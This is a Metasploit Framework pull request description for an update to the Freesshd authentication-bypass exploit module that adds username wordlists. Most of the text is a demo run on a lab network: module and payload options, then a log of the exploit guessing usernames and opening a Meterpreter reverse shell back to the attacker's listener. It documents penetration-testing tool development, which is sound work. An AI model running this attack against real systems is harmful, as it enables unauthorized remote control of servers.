rapid7/metasploit-framework — pull request #1321 by wchen-r7 (2013-01-16 08:20:40+00:00)
Title: Freesshd authbypass update

Allows usernames to be loaded as a file (wordlist), that way the it's much easier to manage. It defaults to unix_users.txt, because these usernames are common in any SSH hosts out there.
If the user only wants to try a specific user (which is better, because you reduce traffic noise that way), then he/she can set the USERNAME option, and that should be the only one tried --
similar to how AuthBrute behaves.

I also fixed the regex in check().

Demo:

msf exploit(freesshd_authbypass) > show options

Module options (exploit/windows/ssh/freesshd_authbypass):

Name Current Setting Required Description
---- --------------- -------- -----------
RHOST 10.0.1.6 yes The target address
RPORT 22 yes The target port
USERNAME no A specific username to try
USER_FILE /tmp/users.txt yes File containing usernames, one per line

Payload options (windows/meterpreter/reverse_tcp):

Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique: seh, thread, process, none
LHOST 10.0.1.3 yes The listen address
LPORT 4444 yes The listen port

Exploit target:

Id Name
-- ----
0 Freesshd <= 1.2.6 / Windows (Universal)

msf exploit(freesshd_authbypass) > exploit

[*] Started reverse handler on 10.0.1.3:4444
[*] Trying username 'root'
[*] Trying username 'Administrator'
[*] Trying username 'apple'
[*] Trying username 'lab'
[*] Uploading payload, this may take several minutes...
[*] Sending stage (752128 bytes) to 10.0.1.6
[*] Meterpreter session 2 opened (10.0.1.3:4444 -> 10.0.1.6:1079) at 2013-01-16 02:13:56 -0600

meterpreter >